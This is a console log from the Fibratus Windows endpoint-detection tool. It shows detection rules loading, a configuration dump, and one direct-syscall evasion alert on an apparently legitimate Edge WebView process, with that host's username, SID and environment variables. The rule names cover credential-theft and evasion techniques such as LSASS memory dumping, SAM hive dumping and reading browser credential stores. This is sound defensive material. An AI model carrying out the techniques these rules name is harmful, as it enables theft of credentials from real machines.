C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:07:52+01:00 level=info msg=bootstrapping with pid 11420. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:07:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-thread=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true buffer-size=>512 enable-image=>true min-buffers=>16 enable-registry=>true enable-handle=>false enable-audit-api=>true enable-threadpool=>false enable-vamap=>true flush-interval=>1s enable-fileio=>true enable-dns=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 formatter=>text level=>info max-size=>100] + output ......................... [ amqp=>[ exchange-type=>topic durable=>false exchange=>fibratus passive=>false tls-insecure-skip-verify=>false enabled=>false vhost=>/ routing-key=>fibratus timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ sniff=>false healthcheck-timeout=>5s enabled=>false gzip-compression=>false index-name=>fibratus bulk-workers=>1 template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] trace-log=>false timeout=>5s flush-period=>1s healthcheck-interval=>10s] http=>[ serializer=>json enabled=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>false skip-allocs=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s excluded-procs=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:07:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:07:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:08:58+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 615346 + Pid: 1260 + Tid: 16132 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-11 16:08:53.9596985 +0100 CET + Params: base_address➜ 7ff962ee0000, checksum➜ 256981, default_address➜ 7ff962ee0000, file_path➜ C:\Windows\System32\aadWamExtension.dll, image_size➜ 237568, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1260, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 1260 + Ppid: 1460 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=1460.5556.3092761645961539228 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=1460.5556.3092761645961539228 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:1260 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_1260_IRMRDIAVNFNYIZWO EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:352 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"GYVhz1C44zdHuNzN6Subv8LtOm+BOX0WO+B+gnsfj6A=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff807f01e0534 C:\WINDOWS\system32\ntoskrnl.exe!PsIsThreadTerminating+0x1f4|0xfffff807f00d312d C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x74d|0xfffff807f011d312 C:\WINDOWS\system32\ntoskrnl.exe!FsRtlAreNamesEqual+0x5b2|0xfffff807f06f7f48 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff807f06f7bbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff807f06da620 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5570|0xfffff807f0690f2b C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc7b|0xfffff807f06904fd C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807f04b5655 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x91d5|0x7ff947e21014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ff947c33640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ff947c33a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ff988ca53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ff988ca701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988d14294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ff988cb63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cb6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cdfa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ff98610ca5f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff9876872c5 C:\Windows\System32\combase.dll!CoReleaseServerProcess|0x7ff987686df7 C:\Windows\System32\combase.dll!CoReleaseServerProcess|0x7ff9876d56be C:\Windows\System32\combase.dll!WindowsCreateStringReference|0x7ff98784a0db C:\Windows\System32\combase.dll!Ordinal225|0x7ff9876e2c60 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ff9876e247b C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ff9876e308a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ff9876e40e9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ff95db656d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db2408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db2e3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db2db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95dba6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ff95db59dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db6f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff988abb686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ff95db9554e C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ff95db66a00 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db6857b C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db68d67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db66f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db6e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db6dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db6dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff95db706d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff988abab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ff988aba8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ff988ab9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ff986b7e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ff988d2c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-11T16:09:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:09:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:09:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:09:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 